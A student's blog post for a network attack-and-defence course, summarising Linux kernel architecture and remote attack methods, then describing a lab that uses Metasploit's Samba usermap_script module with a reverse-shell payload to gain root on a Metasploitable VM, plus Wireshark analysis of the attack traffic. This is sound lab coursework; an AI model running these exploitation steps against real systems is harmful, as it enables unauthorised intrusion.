20211908 孟向前 2021-2022-2 《网络攻防实践》第七周作业

实践七 Linux操作系统攻防

1.实践内容
Linux系统结构
从技术上说,Linux这个名字仅仅是由Linus发起主导,由Linux开源团队所维护的一个操作系统内核,而不是一般用户所看到和使用的完整操作系统。一套基于Linux内核的完整操作系统叫作Linux操作系统,即我们现在看到的各种Linux发行版,Linux操作系统的结构包括Linux内核,一些GNU运行库和工具,命令行Shell,图形界面X窗口系统及相应桌面环境,并包含数千种从办公包、编译器、文本编辑器、科学工具到网络服务的应用软件。
Linux操作系统内核的总体结构如图8-1所示,属于一种典型的宏内核结构,并非 Linux的前驱—Minix所采用的微内核结构。在Linux内核中,在硬件抽象层中的各类设备驱动程序可以完全访问硬件设备,方便地以模块化形式设置,并在系统运行期间可直接通过LKM机制(Loadable Kernel Module)装载或卸载。在硬件抽象层之上是内核服务功能模块,包括进程管理、内存管理、文件系统、设备控制与网络这五个子系统;而这些内核模块通过系统调用接口向用户态的GNU运行库及工具、命令行Shell、X窗口以及应用软件提供服务。

Linux进程与线程管理机制
Linux内核采用抢占式多用户多进程(multiprocessing)模式,多个进程并发活动,由内核的进程管理模块来负责调度硬件资源进行使用,进程作为最基本的调度单元,维护一个进程控制块(PCB)结构,由内核schedule进程调度函数来依据进程优先级和CPU等资源情况来选择进程进行执行。Linux在2.6内核之前只提供轻量级进程LinuxThread的支持,并不支持真正意义上的多线程,而在2.6内核中引入NPTL(Native Posix Thread Library)之后,才真正支持了符合POSIX标准的多线程编程。
Linux的内存管理机制
Linux内存管理模块(MM)允许多个进程安全地共享物理内存区域。Linux的内存管理支持虚拟内存,在32位的i386机器上,每个进程拥有独立的4GB虚拟内存空间,内核的代码与数据段被映射到3GB以上的空间,而用户态代码申请的虚拟内存空间为0-3GB区间,每个进程使用两套段描述符来分别访问内核态和用户态的内存空间,在用户态中,代码不可能访问3GB以上的地址空间,如果要访问内核空间,必须通过系统调用或者中断。内存管理模块为进程提供内存分配、内存回收、请求分页和交换页等系统调用服务。
Linux的文件系统管理机制
Linux内核使用了虚拟文件管理VFS(Virtual File System)机制,从而使得它能够支持数十种不同类型的逻辑文件系统,包括ext2/ext3/ext4、vfat、ntfs等,通过设备驱动程序访问特定硬件设备(如磁盘设备),而VFS虚拟文件管理为用户进程提供了一组通用的文件系统调用函数(包括 open、close、read、write等),可以对不同文件系统中的文件进行统一的操作。Ext家族文件系统是Linux内核中缺省采用的文件系统格式,使用索引节点来记录文件信息,作用类似于Windows FAT32文件系统的分配表,包含了文件长度、创建及修改时间、权限、所属关系、磁盘中位置等信息。
Linux的设备控制机制
Linux内核中处理或者管理硬件控制器的软件叫做设备驱动程序。Linux核心的设备驱动程序本质上是特权的、驻留内存的低级的硬件控制例程的共享库。Linux的一个基本特点是抽象了设备的处理,所有的硬件设备都像常规文件一样看待。Linux支持三类硬件设备:字符设备、块设备和网络设备。字符设备直接读/写,没有缓冲区,例如系统的串行端口/dev/cuaO和/dev/cual;块设备只能按照一个块(一般是512字节或者1024字节)的倍数进行读/写,块设备通过buffer cache访问,进行随机存取;网络设备则通过BSD socket网络接口进行访问。大多数的设备驱动程序都是通过LKM可动态加载内核模块机制,在需要的时候作为核心模块加载,在不再需要的时候卸载,这使得核心对于系统资源非常具有适应性和效率。
Linux的网络机制
Linux内核中的网络模块提供了对各种网络标准的存取和各种网络硬件的支持。网络接口可分为网络协议栈和网络驱动程序。网络协议栈负责实现每一种可能的网络传输协议,其结构如图8-2所示,包括网络设备层的以太网、PPP、SLIP等协议,TCP/IP协议基础实现,以及为上层网络应用提供的Socket接口。网络设备驱动程序负责与硬件设备通信,每一种硬件设备都有相应的设备驱动程序。

Linux的系统调用机制
Linux内核通过上述五个方面的机制实现了操作系统基本的硬件管理与系统功能,这些内核模块都运行在CPU的核心态,而应用程序则运行于用户态,它们并不能直接访问内核内存空间,也不能直接调用内核函数。Linux提供了系统调用接口,来允许应用程序透过这层接口来访问硬件设备和其他系统资源,这有助于保证Linux系统的稳定可靠和安全,并为用户空间提供了一种统一的抽象接口,有助于应用程序的跨平台移植。
Linux 的系统调用通过软中断实现,首先,用尸程序为系统调用设置参数,其中最重要的参数就是系统调用编号,参数设置完成后,程序执行“系统调用”指令产生中断异常,使得处理器切换到内核态,并跳转到异常处理程序执行系统调用处理函数,根据给定的系统中断编号和参数完成相应的系统功能,处理完之后再返回至用户态程序。在最通用的x86体系架构下,Linux 2.6内核之前使用的是INT 80h进行系统调用中断,而之后则使用较新CPU 中所提供的SYSENTER机制进行处理。

Linux操作系统安全机制
与Windows操作系统类似,Linux操作系统的核心安全机制也主要是身份认证、授权与访问控制、安全审计这三个部分。

Linux系统远程攻防技术
针对Linux系统的攻击也遵循着系统攻击统一的逻辑流程:攻击者首先利用踩点、扫描和查点等技术手段来收集关于目标 Linux系统的信息,然后攻击者从远程网络发掘某个监听网络服务中的安全漏洞或配置弱点,来获取本地Shell访问权,而一旦获得Shell访问权,攻击者就已经在目标Linux系统上获得了立足之地,而转入本地攻击的环节,通常会利用各类提权技术获取Linux系统最高的Root用户权限,之后就可以根据他们的入侵意图而为所欲为了。
从远程网络上侵入Linux系统的主要方法在目前来说,不外乎如下四种。
·对Linux系统各种网络服务的身份认证过程所涉及的用户口令字进行猜测攻击,期望破解出某一服务真实有效的用户账户和口令,从而假冒该用户的身份进入系统。
·发掘Linux系统某个监听网络服务的安全漏洞并进行利用,在攻击目标服务进程中注入攻击负载模块代码进行执行,从而为攻击者提供本地Shell的访问权。
·通过网页木马、发送欺诈邮件、提供特洛伊木马程序等技术和社会工程学手段,来攻击客户端程序和用户,由客户端软件或用户来安装和执行恶意程序,从而主动向攻击者打开Linux系统的大门。
·在Linux系统作为连接多个网络的路由器,或者打开“混杂模式”实施网络嗅探的监听器时,可能遭受攻击者特意构造的数据包攻击,从而被攻击者取得访问权。

2.实践过程
(1)使用Metasploit进行Linux远程渗透攻击
任务:使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。实践步骤如下:

实验环境:
攻击机: Kali IP:192.168.200.4
靶机metasploitable-linux IP:192.168.200.123

1.启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
首先,在kali中通过sudo su提升管理员权限,输入命令msfconsole启动渗透软件。

2.使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
输入命令use exploit/multi/samba/usermap_script使用渗透攻击模块。

3.选择攻击PAYLOAD为远程shell,(正向或反向连接均可);
输入set PLAYLOAD cmd/unix/reverse设置攻击的PAYLOAD为反向连接。

4.设置渗透攻击参数(RHOST,LHOST,TARGET等);
输入set RHOST 192.168.200.123 设置靶机地址192.168.200.123,输入exploit或者run开始攻击。

5.执行渗透攻击;查看是否正确得到远程Shell,并查看获得的权限。
执行uname -a,whoami命令,显示靶机操作系统信息和用户权限信息。

(2)实践作业:攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

1.首先输入nmap -sV 192.168.200.123扫描靶机,查看开放的端口。

2.利用模块:exploit/multi/samba/usermap_script。

3.输入use exploit/multi/samba/usermap_script

4.输入 set RHOST 192.168.200.125,设置靶机ip,输入show options查看设置参数。

5.输入指令run开启攻击,直接输入whoami,可以发现已经成功提权到root。

6.由下图第一次握手可以看出源ip为192.168.200.4,目的ip192.168.200.123,可以看出端口号,分别为34637和4444。攻击发起时间从第一次握手协议开始。

7.追踪第一个TCP数据包如图所示。

8.在kali输入本地执行代码,并在wireshark中追踪tcp流查看,可以看到本地执行的ifconfig和whoami命令。

3.学习中遇到的问题及解决
问题:第一次输入exploit发起攻击时没有成功,没有与靶机建立起会话。
解决:重新启动靶机。

4.学习感想和体会
学习了Linux相关知识,并练习使用了攻防工具,对Linux安全和攻防有了进一步理解。

参考文献
网络攻防技术与实践 -诸葛建伟

posted on 2022-04-26 19:26  仰望星空dream  阅读(19)  评论(0编辑  收藏  举报